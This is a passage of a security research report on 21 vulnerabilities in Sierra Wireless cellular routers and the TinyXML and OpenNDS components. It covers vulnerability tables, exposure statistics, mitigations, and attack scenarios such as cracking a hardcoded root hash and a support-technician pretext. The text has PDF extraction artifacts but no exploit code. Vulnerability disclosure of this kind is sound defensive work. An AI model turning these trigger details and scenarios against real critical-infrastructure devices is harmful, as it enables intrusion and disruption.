Contents
1.

Executive Summary ........................................................................................................................................... 42.

Why Analyze Sierra Wireless Routers? ............................................................................................................. 4

3.

Main Findings .................................................................................................................................................... 6
3.1.

Analyzed Components .............................................................................................................................. 6

3.2.

New Vulnerabilities .................................................................................................................................... 6

4.

Impact ................................................................................................................................................................ 9

5.

Attack Scenarios .............................................................................................................................................. 11

6.

Mitigation Recommendations .......................................................................................................................... 13

7.

Conclusion ....................................................................................................................................................... 14

Part 2: Technical Dive-Ins ....................................................................................................................................... 168.

Technical Dive-In #1: Research methodology ................................................................................................. 17
8.1.

Component analysis and prioritization .................................................................................................... 17

8.2.

Static and dynamic analysis of binaries .................................................................................................. 199.

Technical Dive-In #2: Details of new vulnerabilities ......................................................................................... 20
9.1.

CVE-2023-40464: Default SSL private key and certificate ..................................................................... 20

9.2.

CVE-2023-40463: Root shell access and hardcoded password hashes ................................................ 20

9.3.

Web vulnerabilities .................................................................................................................................. 229.4.

CVE-2023-40458 and CVE-2023-40462: TinyXML denials of service.................................................... 25

9.5.

OpenNDS NULL-pointer dereference issues .......................................................................................... 27

9.6.

OpenNDS OS command execution ........................................................................................................ 29

9.7.

OpenNDS memory leaks and remote code execution ............................................................................ 31

10.

Technical Dive-In #3: Exploiting CVE-2023-41101 on LX60....................................................................... 33

10.1.

A closer look at the binary ....................................................................................................................... 34

10.2.

Limitations and caveats........................................................................................................................... 35

10.3.

Finding information leaks ........................................................................................................................ 35

10.4.

Putting it all together ............................................................................................................................... 37

Sierra:21 – Living on the Edge

2

Forescout Vedere Labs has discovered 21 new vulnerabilities
within OT/IoT routers and open-source software components,
highlighting new risk in your critical infrastructure.
This new research confirms some of the trends that
Forescout Vedere Labs has been tracking and analyzing:• Vulnerabilities (and consequently attacks) on routers andnetwork infrastructure are on the rise. State-sponsored actors
have been developing custom malware to use routers for
persistence and espionage, while cybercriminals are leveraging
them for residential proxies and to recruit into botnets.
• Vulnerabilities in OT/IoT devices often arise from design flaws(such as the use of hardcoded credentials and certificates wesaw in OT:ICEFALL) or issues when parsing malformed input(as we saw with Project Memoria).
• Supply chain components, including open-source software
provided by third parties, can introduce high risk and increase
the attack surface of critical devices, leading to vulnerabilities
that may be hard for asset owners to track and mitigate.
Why it matters: Most organizations have control over the attack
surface of their IT network. However, there are many OT/IoT
devices that represent an increased attack surface for organizations
in different sectors and do not receive the same level of attention.
Through this research, Forescout Vedere Labs intends to shed lighton the increased risk exposure and the possible mitigation
techniques.

Sierra:21 – Living on the Edge3

1. Executive Summary•

Forescout Vedere Labs has identified a total of 21 new vulnerabilities affecting one of the most popular
OT/IoT routers used to connect critical local networks to the Internet via cellular connections suchas 3G and 4G.

•

The vulnerabilities affect Sierra Wireless AirLink cellular routers and some of their open sourcecomponents, such as TinyXML and OpenNDS, which are used in a variety of other products.

•

Of the 21 vulnerabilities, 1 has critical severity, 9 have high severity and 11 have medium severity. Thesevulnerabilities may allow attackers to steal credentials, take control of a router by injecting
malicious code, persist on the device and use it as an initial access point into critical networks.

•

Affected devices can be found in multiple critical infrastructure sectors, such as manufacturing andhealthcare, government and commercial facilities, energy and power distribution, transportation,water and wastewater systems, retail, emergency services and vehicle tracking. Affected devices
can also be used to stream video for remote video surveillance or to connect police vehicles tointernal networks.

•More than 86,000 vulnerable routers are exposed online. Less than 10% of the total exposedrouters are confirmed to be patched against known previous vulnerabilities found since 2019, whichindicates a large attack surface. Ninety percent of devices exposing a specific management interface(AT commands over Telnet) have reached end of life, meaning they cannot be further patched.

•

Sierra Wireless, OpenNDS and Nodogsplash have been very responsive, and the relevant
vulnerabilities have been patched. TinyXML is an abandoned project, so the upstream vulnerabilities
will not be fixed and must be addressed downstream. Beyond patching, recommended mitigations
include disabling WiFi captive portals, deploying web application firewalls and using OT/IoTaware intrusion detection systems.

Finding so many new vulnerabilities on software components of a well-studied device shows that device
manufacturers, and in turn asset owners, must pay special attention to risks stemming from the software supply
chain, both from open- and closed-source components. Asset owners are the ones who, in the end, may getbreached due to insecure devices on their networks and, currently, they must either depend on device
manufacturers to adequately address supply chain vulnerabilities or implement their own risk mitigation strategies
that do not rely exclusively on patching.
The former option is risky, since as we observed two years ago when concluding Project Memoria, legacy
software components enable the connected world. Vulnerability notification to a large number of parties isdifficult. Vendors or maintainers are often unresponsive, which means that organizations across several industries
may remain vulnerable for a long time. The latter option - risk mitigation - is more broadly applicable and can leadto an overall better security posture against new and old vulnerabilities in critical devices.

2. Why Analyze Sierra Wireless Routers?
OT/IoT cellular routers connect critical devices to the Internet for monitoring and control, such as devices inelectrical substations, oil and gas fields, remote healthcare locations, smart cities and more. Two example
applications are shown in Figure 1, at the top there is a system where an Axis IP camera is connected to a Sierra
Wireless AirLink LX40 cellular router to stream video for remote video surveillance; at the bottom there is asystem where a Sierra Wireless AirLink MP70 is used to connect a police vehicle with several internal devices toa central network management system. Other use cases mentioned on the vendor’s website include industrial
asset monitoring in manufacturing, connectivity for temporary healthcare facilities, and management of electricvehicle charging stations.
Sierra:21 – Living on the Edge

4

Figure 1 – Two example applications of OT/IoT cellular routers. At the top, an Axis IP camera connected to a Sierra
Wireless LX40 router for remote video surveillance (from the vendor’s website). At the bottom, several devices in apolice vehicle connected to a network management system via a Sierra Wireless MP70 (from the vendor’s website).

Sierra Wireless is arguably the most popular brand of OT/IoT cellular routers. Other popular vendors include
Teltonika, InHand, and MOXA. WiGLE.net, an open database of WiFi networks, shows 245,000 networks
worldwide running Sierra Wireless, while Teltonika has 184,000 and InHand 13,000. Sierra Wireless devices arealso the most popular on Shodan (more details in Section 4). These numbers are just a fraction of the total
number of such devices in use worldwide. For instance, some Sierra Wireless devices have MAC OUIs from othervendors – such as Universal Global Scientific Industrial – and many in the wild are not running WiFi networks.
Most Sierra Wireless AirLink routers ship with the AirLink Enterprise Operating System (ALEOS), a set ofproprietary services, components, and applications built on top of an embedded Linux distribution. There are
currently three major versions of ALEOS, 4.4.x, 4.9.x, and 4.x.0, each supporting different device families.
Several devices that use the 4.4.x branch were declared End-of-Life (EOL) circa 2021. Therefore, the latest
available version (4.4.9) stopped receiving security patches around that time as well.
Vulnerabilities in these devices may allow direct access to critical assets, making them the subject of intense
security research in recent years. Thirty-six vulnerabilities have affected Sierra Wireless AirLink devices since2019, as shown in Table 1.
Table 1 – Past vulnerability disclosures for Sierra Wireless devices
Disclosure / Year

Affected versions

Affected components

Vulnerabilities

Cisco Talos, 2019

ALEOS prior to 4.4.9, 4.9.4 or 4.12.0

ACEmanager, snmpd

13

Customer reports, 2019

ALEOS prior to 4.4.9, 4.9.5 or 4.12.0

SSH service

1

Sierra:21 – Living on the Edge

5

Internal testing, 2020

ALEOS prior to 4.4.9, 4.9.5 or 4.13.0

ACEmanager, LAN-side RPC
server, ALEOS AT commandinterface, ALEOS SMS handler,
ALEOS ACEView service

11

IOactive, 2020

ALEOS prior to 4.4.9, 4.9.5 or 4.14.0

UpdateRebootMgr service,2

LAN-side RPC serverInternal testing, 2021

ALEOS 4.4.9 and earlier, ALEOS prior
to 4.9.6 or 4.15.0

ACEmanager, ALEOS AT
command interface, ALEOS SMS
handler

7

OTORIO, 2022

ALEOS 4.4.9 and earlier (EOL), ALEOSprior to 4.9.8 or 4.16.0

ACEmanager

2

Despite these prior findings, our results show that a deeper analysis – focused on the different software
components of these devices – can yield new, critical findings.

3. Main Findings
3.1.

Analyzed components

ALEOS is a large framework, compelling us to prioritize for analysis components that could yield more
vulnerabilities. We analyzed the following components, with details behind their selection provided in Section 8.1:
• ACEmanager: a web application developed by Sierra Wireless and used to configure and monitor thestate of a wireless router.
• rp-pppoe: an open-source implementation of Point-to-Point Protocol over Ethernet (PPPoE) for Linux.
• OpenNDS: an open-source captive portal used in ALEOS when the “Simple Captive Portal” is configured
via ACEmanager.
• TinyXML: an open-source minimal XML document parser whose source code was included into one of
the libraries used by ACEmanager.
• Libmicrohttpd: a small library to build simple HTTP servers used by OpenNDS. We only analyzed thoseparts relevant to OpenNDS.

3.2.

New vulnerabilities

We discovered 21 new vulnerabilities that can be grouped into the following 5 impact categories:• Remote Code Execution (RCE) vulnerabilities allowing attackers to take full control of a device byinjecting malicious code.
• Cross site scripting (XSS) vulnerabilities that may be used to inject malicious code on clients browsing
the ACEmanager application, thus potentially stealing credentials.
• Denial of service (DoS) vulnerabilities that may be used to crash ACEmanager for a variety of reasons
from simple vandalism to more sophisticated multi-staged attacks.
• Unauthorized access, via design flaws, such as hardcoded credentials and private keys and certificates,that can be used for performing man-in-the-middle attacks or to recover passwords by capable attackers.
• Authentication bypasses that allow attackers to skip the authentication service of the captive portal
service and connect to the protected WiFi network directly.
The new vulnerabilities are summarized in Table 2 (ALEOS) and Table 3 (OpenNDS). One issue has two CVE
IDs because it affects TinyXML independently (CVE-2023-34194) and as used by ACEmanager (CVE-2023Sierra:21 – Living on the Edge

6

40462). This occurs because TinyXML is typically not distributed as a library but integrated within a codebase
directly (such as with ACEmanager).
The vulnerabilities in Table 3 marked as “TRUE” can be be exploited in ALEOS when the “simple captive portal”
is enabled. Attackers must be able to interact with the captive portal running on ALEOS, which means that theyneed to be in range of the WiFi network guarded by the portal or compromise another device that can connect tothat network. Issues marked with “FALSE” cannot be triggered in ALEOS conventionally, since the configuration
file of OpenNDS is not exposed to the user. Although they may be exploitable in other devices.
We did not find any new issues affecting the ALEOS AT commands interface, rp-ppoe or libmicrohttpd.
Table 2 – New vulnerabilities in ALEOSCVE ID

Description

CVSS
v3.1

ImpactCVE-202340458

ACEmanager has an infinite loop when parsing certain malformed
XML documents. Triggering the bug leads to a DoS, rendering
ACEmanager unreachable. To restore availability, the affected
device needs to be manually restarted. Attackers do not need to
be authenticated to exploit the issue.

7.5

DoS

CVE-202340459

When authenticating a user, if ACEmanager receives an XML
document with an empty <password> tag, it crashes due to a
NULL-pointer dereference. This leads to a limited DoS, since
ACEmanager is automatically restarted. Attackers can prolong
the DoS by repeatedly sending malformed XML documents.
Attackers do not need to be authenticated to exploit theissue.

7.5

DoS

CVE-202340460

Due to improper file path and content validation, attackers canupload HTML documents that replace legitimate web pages within
ACEmanager. This can lead to a variety of issues, from defacing
ACEmanager to deploying malicious content via stored XSS. Thisissue was introduced as an incomplete fix for CVE-20184063.

7.1

XSS

CVE-202340461

ACEmanager allows authenticated users to upload a clientcertificate and a client TLS key when configuring a VPN tunnel.
Insufficient validation of the name of the certificate/key being
uploaded allows for the injection of JavaScript code.

8.1

XSS

CVE-202334194(TinyXML)ACEmanager relies on TinyXML, which contains a reachable
assertion that terminates the application when parsing certain
malformed XML documents. This leads to a limited DoS, since
ACEmanager is automatically restarted. Attackers can prolong
the DoS by repeatedly sending malformed XML documents. All
logged-in users will be logged out as a side effect of the attack.
Attackers do not need to be authenticated to exploit theissue.

7.5

DoS

ALEOS contains functionality to enable diagnostic root shell
access on devices for technical support specialists. The hash of
the root password is hard-coded. Attackers may be able to

8.1

UnauthorizedaccessCVE-202340462(ACEmanager)
CVE-202340463

Sierra:21 – Living on the Edge

7

recover the password and achieve root access on devices where
the diagnostic root shell access is enabled.
CVE-202340464

Several versions of ALEOS are shipped with a default SSL
private key and a certificate for ACEmanager, while users are noturged to generate new ones. Obtaining these artifacts may
enable attackers to impersonate legitimate ACEmanager
applications that rely on the default SSL key and certificate, andto sniff/spoof encrypted traffic between ACEmanager applications
and their clients.

Unauthorizedaccess

8.1

Table 3 – New vulnerabilities in OpenNDS

CVE ID

Description

CVSS
v3.1

ImpactAffects
ALEOS?

CVE-202338313

OpenNDS has a NULL-pointer dereference that leads to a
DoS. The issue can be triggered with a crafted GET request
to /opennds_auth/ with a missing client-redirect query
string parameter and client-token and custom query string
parameters set to arbitrary values. The issue occurs when aclient is about to be authenticated and takes place via a
different code path than CVE-2023-38314. Triggering theissue crashes the OpenNDS daemon and denies Internet
access to any client that attempts to connect with this captive
portal.

6.5

DoS

TRUE

CVE-202338314

OpenNDS has a NULL-pointer dereference that leads to a
DoS. The issue can be triggered with a crafted GET request
to /opennds_auth/ with a missing client-redirect query
string parameter and a client-token query string parameter
set to an arbitrary value. The issue occurs while a client is
not yet authenticated. Triggering the issue crashes the
OpenNDS daemon and denies Internet access to any clientthat attempts to connect with this captive portal.

6.5

DoS

TRUE

CVE-202338315

OpenNDS has a NULL-pointer dereference that leads to a
DoS. The issue can be triggered with a crafted GET request
to /opennds_auth/ with a missing client-token query
string parameter. Triggering the issue crashes the OpenNDS
daemon and denies Internet access to any client that
attempts to connect with this captive portal.

6.5

DoS

TRUE

CVE-202338320

OpenNDS has a NULL-pointer dereference that leads to a
DoS. The issue can be triggered with a crafted GET request
to /opennds_preauth/ containing an arbitrary Host header
and no User-Agent header. Triggering the issue crashes the
OpenNDS daemon and denies Internet access to any clientthat attempts to connect with this captive portal.

6.5

DoS

TRUE

CVE-202338321

OpenNDS has a NULL-pointer dereference that leads to a
DoS. The issue can be triggered via a crafted GET request to/opennds_auth/ with a missing custom query string
parameter and client-token and redirect query string
parameters set to arbitrary values. Triggering the issue

6.5

DoS

TRUE

Sierra:21 – Living on the Edge8

crashes the OpenNDS daemon and denies Internet access toany client that attempts to connect with this captive portal.
CVE-202338322

OpenNDS has a NULL-pointer dereference that leads to a
DoS. The issue can be triggered via a crafted GET request to/opennds_auth/ with a missing User-Agent header andclient-token, custom, and redirect query string
parameters set to arbitrary values. The issue occurs when aclient is about to be authenticated and happens via a
different code path than CVE-2023-38320. Triggering theissue crashes the OpenNDS daemon and denies Internet
access to any client that attempts to connect with this captive
portal.

6.5

DoS

TRUE

CVE-202338316

When the custom URL unescape callback is enabled in
OpenNDS, unauthenticated attackers can execute arbitrary
OS commands by inserting them into the URL portion of the
GET request.

8.8

RCE

FALSE

CVE-202338317

OpenNDS does not sanitize the network interface name entry
in the configuration file, allowing attackers that have direct orindirect access to the file to execute arbitrary OS commands.

6.7

RCE

FALSE

CVE-202338318

OpenNDS does not sanitize the gateway FQDN entry in theconfiguration file, allowing attackers that have direct orindirect access to the file to execute arbitrary OS commands.

6.7

RCE

FALSE

CVE-202338319

OpenNDS does not sanitize the FAS key entry in theconfiguration file, allowing attackers that have direct orindirect access to the file to execute arbitrary OS commands.

6.7

RCE

FALSE

CVE-202338323

OpenNDS does not sanitize the status path script entry in theconfiguration file, allowing attackers that have direct orindirect access to the file to execute arbitrary OS commands.

6.7

RCE

FALSE

CVE-202338324

When OpenNDS is configured as FAS, and the default FAS
key is used, users can skip the splash page sequence andauthenticate directly.

4.3

Auth
bypassTRUE

CVE-202341101

OpenNDS (and the original NoDogSplash project) do not
validate the length of the query string of pre-authenticated
GET requests. This leads to a stack-based buffer overflow in
NoDogSplash and OpenNDS versions 9.x and earlier, and toa heap-based buffer overflow in OpenNDS versions 10.x andonward. Attackers may exploit the issue for DoS or to execute
arbitrary code.

9.6

RCE

TRUE

CVE-202341102

OpenNDS (up to version 10.1.2) has multiple memory leaks
due to not freeing up allocated memory. This may lead to a
DoS due to the consumption of all available memory.

4.3

DoS

FALSE

4. Impact
Sierra:21 – Living on the Edge

9

As mentioned in Section 2, there are hundreds of thousands of Sierra Wireless routers running WiFi networks inthe wild. In this Section, we try to understand the Internet exposure and distribution of Sierra Wireless devices(whether they run WiFi or not).
While the ALEOS documentation recommends exposing ACEmanager only within local networks, we found morethan 86,000 ACEmanager instances exposed directly to the Internet – see Figure 2. Most of these devices(nearly 64%) run a version of ALEOS without the security patches for the vulnerabilities shown previously in Table
1.

Figure 2 – Numbers of exposed devices that run ACEmanager versus the security patch status of the underlying
ALEOS versions

We also searched for devices with an exposed AT commands interface, as this functionality was mentioned inprevious vulnerability reports. We could only reliably fingerprint AT interfaces that use the Telnet protocol and are
exposed via the standard port 2332. We found 2,849 devices with this interface exposed on the internet – seeTable 4. Ninety-nine percent of these devices are end-of-sale (EOS, about to be obsoleted) and 90% are end-oflife (EOL, obsoleted). EOL devices have not received any security updates for approximately 2 years, according
to our estimates.
Table 4 – Number of devices with exposed AT command interface

Device

Count

EOS

EOL

RV50

665

TRUE

TRUE

LS300

578

TRUE

TRUE

GX450

538

TRUE

TRUE

GX440

470

TRUE

TRUE

GX400

248

TRUE

TRUE

ES450

221

TRUE

FALSE

ES440

97

TRUE

TRUE

MP70

20

FALSE

FALSE
Sierra:21 – Living on the Edge

10

RV50X

12

FALSE

FALSE

We also found more than 22,000 Internet-exposed devices that use the default SSL certificate highlighted in CVE2023-40464 – see Figure 3. The same default “server.crt” and “server.key” files are present in multiple ALEOS
versions (some of them marked as EOL, and some still supported).

Figure 3 – Numbers of exposed devices with the default SSL certificate of ACEmanager

We witnessed many types of organizations exposing these devices on Shodan, including a power distribution
operator, a national health system, a systems integrator, a retailer, a waste management provider, and a vehicle
tracking company. On Forescout Device Cloud, we see the following distribution of Sierra Wireless devices, byindustry:

Figure 4 – Distribution of Sierra Wireless routers by industry seen on Forescout Device Cloud

5. Attack Scenarios
Sierra:21 – Living on the Edge

11

In this Section, we discuss some possible attack scenarios with the new vulnerabilities that affect ALEOS and its
components. We focus on the two industries we observed most frequently deploying Sierra Wireless routers:
Healthcare and Manufacturing.

Attack summary
The attack scenarios below illustrate how an attacker could leverage some of the new vulnerabilities to takefull control of an OT/IoT router and achieve different goals such as network disruption, espionage, lateral
movement, and further malware deployment. In Scenario 1 (below), the attacker leverages the captive portal
vulnerability to take control of a router in a healthcare facility and attack devices of the patients, guests, or
staff. In the Scenario 2 (below), the attacker leverages the hardcoded credentials to take control of a router ina manufacturing plant and attack industrial equipment.

Figure 5 – Scenario 1: Captive portal vulnerability in healthcare

For the healthcare scenario, shown in Figure 5, the attacker wants to infiltrate the network of a temporary
healthcare facility to achieve multiple possible end goals. For instance, the attacker may want to prevent
adequate and timely care by denying access to appointments, patient records, test results and other information,or further infect the devices of staff and patients. In this scenario, a Sierra Wireless AirLink router is used toprovide wired and WiFi connections inside the facility, as well as a guest WiFi network with a captive portal thatcan be reached by a nearby attacker.
In step 1, the attacker can exploit CVE-2023-41101 affecting the captive portal, which allows them to take fullcontrol of the router. Then, in step 2, the attacker can disrupt the device itself, causing a persistent network
outage, or more subtly, disrupt connectivity of specific devices on the network. Additionally, the attacker may
exploit CVE-2023-40458 and bring down ACEmanager to prevent system administrators from taking corrective
actions in case the exploitation attempt was detected. The device will have to be manually restarted, which may
be difficult in some environments. Since the attacker has full control of the router, other types of attacks, such aschanging DNS server settings and using the router to distribute malware locally are also possible, thus infecting
devices of staff and visitors who connect to the affected WiFi network. The attacker can also move laterally into
adjacent networks and deploy ransomware on the IT workstations or exfiltrate patient records. An interestingalternative is encrypting the files on the router to render it unusable, a form of embedded ransomware usedpreviously by hacktivists.

Sierra:21 – Living on the Edge

12

Figure 6 – Scenario 2: Hardcoded credentials vulnerability in manufacturing

For the manufacturing scenario, shown in Figure 6, the goal of a more sophisticated attacker is to gain initialaccess into a manufacturing plant either for industrial espionage or for cyber-physical disruption. In this scenario,
the Sierra Wireless router is used to connect a series of industrial assets inside the plant (such as PLCs, servers,
engineering workstations and others) to the internet for remote monitoring and control.
In step 1, the attacker purchases a router similar to the one used at the plant. They find the hard-coded hash of
the root password used to access the diagnostic shell (CVE-2023-40463) and obtain the cleartext version of thatpassword by cracking the MD5 or SHA-512 hash (complex, but not impossible). In step 2, the attacker takes
advantage of social engineering by impersonating a technical support specialist who coerces the plant staff toenable diagnostic shell access (something along the lines of, “It appears that your device is malfunctioning and
we must take corrective actions, otherwise your warranty and further technical support will be void”). The attacker
connects via a diagnostic root shell (step 3) and establishes persistence on the device, for instance by dropping a
RAT module. After establishing the initial access and gaining persistence, the attacker may impact the connected
OT assets using vulnerabilities such as those in OT:ICEFALL.
Additionally, since operational technology and IoT are now leveraged by hacktivists and criminals in opportunistic
attacks, OT/IoT routers may be targeted in less sophisticated attacks. The DoS and XSS vulnerabilities affecting
ACEmanager may be used for defacement and to prevent maintenance and corrective actions on vulnerable
routers, both types of impact that have been observed in recent hacktivist campaigns. While the web-related
vulnerabilities we found require authentication, weak credentials or the use of default SSL certificates may enableattackers to use them effectively.
Apart from human attackers, vulnerabilities in ALEOS can also be used by botnet creators. For example, stolen
credentials can be harvested in automated fashion, similarly to how RapperBot keeps track of compromised SSH
servers. These credentials can then be used for leveraging the OS command execution vulnerabilities forautomatic propagation, communication with command-and-control servers, as well as performing DoS attacks,
just like various Mirai variants are doing with many compromised IoT devices in which similar vulnerabilities arebeing found. In fact, previous botnets such as IoTroop/Reaper have targeted exposed Sierra Wireless routers via
default credentials and 0-days.

6. Mitigation Recommendations
Complete protection against the new vulnerabilities requires patching devices running the affected software. The
OpenNDS project has released OpenNDS 10.1.3 containing fixes for all reported vulnerabilities, and theSierra:21 – Living on the Edge

13

Nodogsplash project has released Nodogsplash 5.0.2 containing a fix for CVE-2023- 41101. TinyXML is anabandoned open-source project, so the upstream vulnerabilities will not be fixed and must be addressed
downstream by affected vendors.
Sierra Wireless has released the following ALEOS versions to address the new vulnerabilities:• ALEOS 4.17.0 containing fixes for all relevant vulnerabilities.
• ALEOS 4.9.9 containing applicable fixes, except for OpeNDS issues since that version does not include
OpenNDS.
In addition to patching, we recommend the following actions:• Change the default SSL certificate for Sierra Wireless routers and any other device in your network that
relies on default certificates.
• Disable captive portals and other services, such as Telnet and SSH, if they are not needed. Alternatively,
limit the access to those services if they are needed.
• Consider deploying a web application firewall in front of OT/IoT routers to prevent exploitation of webbased vulnerabilities, such as many of the XSS, command injections and DoS found in this research.
• Deploy an OT/IoT-aware intrusion detection system (IDS) to monitor both the connections between
external networks and the routers as well as connections between the routers and devices behind them.
This helps to detect signs of initial access leveraging the router, plus signs of attackers using the router tofurther exploit critical devices
For previous vulnerabilities on Sierra Wireless products (1, 2, 3), the vendor and CISA have recommended thefollowing, which should also apply for the new vulnerabilities:• Always use strong, unique, and random credentials for devices. If Telnet or SSH is enabled, ensure astrong password is set for the console accounts.
• Disable access to ACEManager on the wide area network (WAN) and use the Sierra Wireless Airlink
Management System (ALMS) or an alternative device management platform for remote management of
ALEOS devices.
• If the ACEManager must remain accessible via the WAN, restrict access by using measures such as
Private APN, VPN, or the ALEOS Trusted IP feature (restricts access to specific hosts).
• When connecting to ACEManager, use only HTTPS.
• Locate control system networks and remote devices behind the routers and isolate them from businessnetworks.

7. Conclusion
Vulnerabilities on network infrastructure have consistently ranked among the most exploited since at least 2020.
Although most attacks leveraging these vulnerabilities target IT networks and devices, the OT/IoT network
perimeter is attractive to attackers and has critical vulnerabilities.
In fact, the OT/IoT perimeter may be weaker than commonly accepted. A lot of attention is given to theconnections between IT and OT systems. Yet, there are connections using radio and cellular networks thatreceive less attention in the security community but may provide attackers direct access to critical assets.
In this research, we analyzed the most popular line of OT/IoT cellular routers, found 21 new vulnerabilities(15 of which directly affect the analyzed routers) and discussed their impact and potential attack scenarios in
critical industries such as healthcare and manufacturing.
Some of the lessons learned in this research include:• These devices not only have critical vulnerabilities, but often are left unpatched. Less than 10% ofrouters seen on Shodan can be confirmed patched against previous vulnerabilities. While having
unpatched vulnerabilities in low-level OT assets is not surprising, given the difficulties in patching those
Sierra:21 – Living on the Edge

14

•

•

devices and the (frequently wrong) assumption that they are isolated, critical vulnerabilities in edge
OT/IoT devices may be exposing the crown jewels of critical infrastructure to attackers and could be
addressed more easily.
Exploit mitigations are still lacking in embedded devices. In Section 10, we discuss a detailed
exploitation of CVE-2023-41101 and show how, even with some mitigations available (such as NX and
ASLR), the lack of PIE made our exploit feasible. The reality is that embedded devices continue to lag IT,
both in addressing simple vulnerabilities and mitigating the effects of those vulnerabilities.
Besides design flaws and parsing problems causing vulnerabilities, we continue to see
incomplete fixes that give rise to new issues. We first observed this during the OT:ICEFALL
conclusion, but again in this study, we noticed a new vulnerability (CVE-2023-40460) coming out of an
incomplete fix (in this case, for CVE-2018-4063). As we previously discussed, device vendors must
address reported vulnerabilities beyond the shared proofs-of-concept and understand the actual root
causes. This will help them to fix issues and prevent their reoccurrence.

Finally, the fact that we found so many new vulnerabilities when looking at specific software components of awell-studied device reinforces the fact that device manufacturers, and in turn asset owners, must pay special
attention to risks stemming from the software supply chain. The two open-source components found to bevulnerable in this research highlight some of these risks:• TinyXML is an abandoned but popular project. TinyXML has not been maintained for nearly a decade.
The project already had one public vulnerability without a known fix prior to this research (CVE-202142260, details in 9.4), and now there are two new issues which we found and that will not be fixed either.
Using open-source intelligence (OSINT) – mainly searching for product documentation mentioning the
TinyXML license – we were able to identify over 30 different products that still use TinyXML. Most of
those are either other open-source projects or security software, but there are also several automotive
infotainment systems, building automation devices and other IoT. It is difficult to know if and how any ofthese products could be vulnerable since XML parsing is not always directly accessible by an attacker.
However, the proliferation of abandoned projects raises questions about how device vendors can respondto new vulnerabilities.
• OpenNDS is well-maintained, but versioning and forks make vulnerabilities hard to squash. We
found many more vulnerabilities on OpenNDS than on TinyXML. Five of these were fixed in version 10.x
before our disclosure, but they still affect version 9.x, which went EOL and will not receive any new
security fixes. After doing variant analysis, we found out that CVE-2023-41101 originates from the
NoDogSplash project, out of which OpenNDS was forked. The CVE was also fixed on NoDogSplash but
only for the latest version. Using the same OSINT method as with TinyXML, we could identify two popularopen-source firmware for a variety of routers supporting OpenNDS and NoDogSplash: OpenWRT and
DD-WRT. We also found documentation of a few router models from Linksys and Belkin mentioning
NoDogSplash directly (such as E9450 and RX7500). Although the open-source projects tend to quickly
adopt new versions of packages such as OpenNDS, router vendors take longer to include these in theiravailable firmware for end products.
The OSINT identification method above is certainly incomplete – for instance, we did not find open references to
OpenNDS for Sierra Wireless devices. The difficulty in fingerpriting and identiyfing devices running these software
packages again highlights the need for software bills of materials (SBoMs) for OT/IoT equipment to enablevendors and asset owners to more easily understand which of their devices are affected when a new vulnerability
is discovered.
The lack of SBOMs also means that we may have missed important components to analyze in ALEOS, sinceeven with full access to the filesystem, it is not immediately obvious which libraries are relevant from a security
point of view and how they are used. Nevertheless, two components that probably deserve a better look in future
work are Strongswan (due to the increasingly important role of VPNs) and CoovaChilli, since it appears to be aneven more popular captive portal solution for embedded devices than OpenNDS and NoDogSplash.

Sierra:21 – Living on the Edge

15

Part 2: Technical Dive-Ins

Sierra:21 – Living on the Edge16

8. Technical Dive-In #1: Research Methodology
We analyzed ALEOS 4.16.0, the latest version available at the time for AirLink LX40/LX60 wireless routers. At thesame time, we tried to understand if any new vulnerabilities discovered would be applicable to end-of-life (EOL)
versions.

Figure 7 - Vulnerability Research Methodology

Our methodology, depicted in Figure 7 above, can be broken down into the following phases:
1.
Obtaining devices and firmware/software packages. We obtained the following software packages
from the official product website of Sierra Wireless: ALEOS 4.4.9 for LS300, used as a reference andto cross-check the findings, and ALEOS 4.16.0 for LX40/LX60, against which we performed theresearch. ALEOS 4.4.9 is not encrypted (unlike the later versions) and some proprietary binaries
included within it contain debug symbols that help to better understand how ALEOS works.
2.
Decrypting/unpacking software packages. To decrypt version 4.16.0, we used the approach
outlined by Ruben Santamarta. After decryption, we located a file corresponding to a squashfs
filesystem, which is typical for devices that run embedded Linux. After unpacking it, we could accessthe ALEOS binaries and other files.
3.
Black-box functional analysis. ACEmanager is a web application used to configure and monitor thestate of a wireless router, so we spent some time understanding the services and configuration
options that it provides. This also helped us to understand how to fingerprint devices running ALEOS
by retrieving the version number from the HTML content of the login page.
4.
Component identification and prioritization. Detailed in Section 8.1.
5.
Static and dynamic analysis of selected binaries and sources. Detailed in Section 8.2.

8.1.

Component analysis and prioritization

ALEOS is a large framework, so we had to prioritize the parts that could yield better results for potential attackers.
First, ACEmanager was reported vulnerable in most bundles shown in Table 1, with a total of 15 vulnerabilities.
While a well-researched component may seem like a bad target for new analysis, it might be the opposite.
Targets with high defect density may be even more prone to having other hidden vulnerabilities. Our initial
analysis of ACEmanager, its common exposure to the Internet, as well as insights from past research suggestthat this component is an ideal place to start. We also did a brief analysis of the AT commands interface, which
was found vulnerable twice in the past, as well as some opportunistic analysis of common pitfalls of embedded
Linux devices (I.e. hardcoded credentials, exposed configuration files, and insufficient access control).

Sierra:21 – Living on the Edge

17

Second, we attempted to compile a list of third-party software components used in ALEOS, yet were unable tofind any SBOM information while browsing its official website and corresponding documentation. Via manual
analysis of the filesystem, we identified the relevant open-source components of ALEOS 4.16.0 shown in Table 5.
That said, the list is incomplete because producing a complete SBOM would require a prohibitive amount of time.
We also do not include the list of standard Linux utilities. A tilde sign appearing before a version number signifies
that we could not identify the exact version number, and thus, provide an approximation.
Table 5 – Third-party components of ALEOS

Component

VersionComments

OpenVPN

2.5.5

OpenVPN is a Virtual Private Network software that uses the OpenSSL library toestablish encrypted point-to-point or site-to-site tunnels.

OpenSSL

1.0.2

A cryptography toolkit present as a standard library in most Linux distributions.
The component is outdated since the latest release of this branch is 1.1.1.LTS.
There are vulnerabilities fixed since version 1.0.2, but their impact highly depends
on the usage context of the library, and there is extended support available forversion 1.0.2 for premium customers.

rp-pppoe

3.10

An implementation of Point-to-Point Protocol over Ethernet (PPPoE) client, relay
and server for Linux. Initially developed by Roaring Penguin, the project iscurrently maintained by Skoll Software Consulting. The component is outdated
since the latest version is 4.0. There were no recent vulnerabilities reported on the
NVD.

Dropbear SSH

2020.81

An SSH server and client used in embedded Linux distributions. The SSH serveris used for the AT commands interface when enabled. This component is outdated
but we could not find any vulnerabilities that might affect it, considering its usage
context.

jQuery1.11.0

The JavaScript library used for ACEmanager. This component is outdated since
the latest release is 1.12.4. Several vulnerabilities we could find on the NVD seemto be context dependent.

OpenNDS

9.1.1

A captive portal used in ALEOS when the “Simple Captive Portal” is configured via
ACEmanager. This project is a successor of NoDogSplash that adds the
Forwarding Authentication Service (FAS) functionality. The version used is mucholder than the latest available release at the time (9.10.0). We also noticed theabsence of publicly known vulnerabilities.

CoovaChilli

1.4

A captive portal used in ALEOS when the “Authenticated Captive Portal” isconfigured via ACEmanager. This project is a successor of ChilliSpot. We could
